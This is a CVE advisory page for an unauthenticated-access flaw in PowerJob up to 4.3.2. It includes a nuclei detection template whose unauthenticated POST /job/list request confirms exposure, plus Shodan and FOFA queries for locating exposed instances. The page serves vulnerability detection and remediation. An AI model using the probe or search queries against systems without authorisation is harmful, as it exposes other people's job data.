Browse / CVEs / CVE-2023-29923
CVE-2023-29923· powerjob / powerjob· CWE-276
PowerJob <=4.3.2 - Unauthenticated Access
mediumseverity
5.3CVSS score
9.5%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
PowerJob V4.3.1 is vulnerable to Insecure Permissions. via the list job interface.
Impact
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or perform malicious actions.
Fix
Upgrade PowerJob to a version higher than 4.3.2 or apply the necessary patches to fix the authentication bypass issue.
How to confirm it
Send: POST /job/list
Positive when: contains "{\"success\":true,\"data\":{\"index\":0,\"pageSize\":10," AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-29923 -u <target>
The full check
id: CVE-2023-29923
info:
name: PowerJob <=4.3.2 - Unauthenticated Access
author: For3stCo1d
severity: medium
description: |
PowerJob V4.3.1 is vulnerable to Insecure Permissions. via the list job interface.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or perform malicious actions.
remediation: |
Upgrade PowerJob to a version higher than 4.3.2 or apply the necessary patches to fix the authentication bypass issue.
reference:
- https://github.com/PowerJob/PowerJob/issues/587
- https://nvd.nist.gov/vuln/detail/CVE-2023-29923
- https://github.com/KayCHENvip/vulnerability-poc
- https://github.com/Le1a/CVE-2023-29923
- https://github.com/Threekiii/Awesome-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-29923
cwe-id: CWE-276
epss-score: 0.09545
epss-percentile: 0.95498
cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: powerjob
product: powerjob
shodan-query: http.html:"powerjob"
fofa-query:
- app="PowerJob"
- app="powerjob"
- body="powerjob"
tags: cve2023,cve,powerjob,unauth,vuln
http:
- raw:
- |
POST /job/list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
{"appId":1,"index":0,"pageSize":10}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"success":true,"data":{"index":0,"pageSize":10,'
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200References
- https://github.com/PowerJob/PowerJob/issues/587
- https://nvd.nist.gov/vuln/detail/CVE-2023-29923
- https://github.com/KayCHENvip/vulnerability-poc
- https://github.com/Le1a/CVE-2023-29923
- https://github.com/Threekiii/Awesome-POC
Use this check only on systems you are authorised to test. Where the data comes from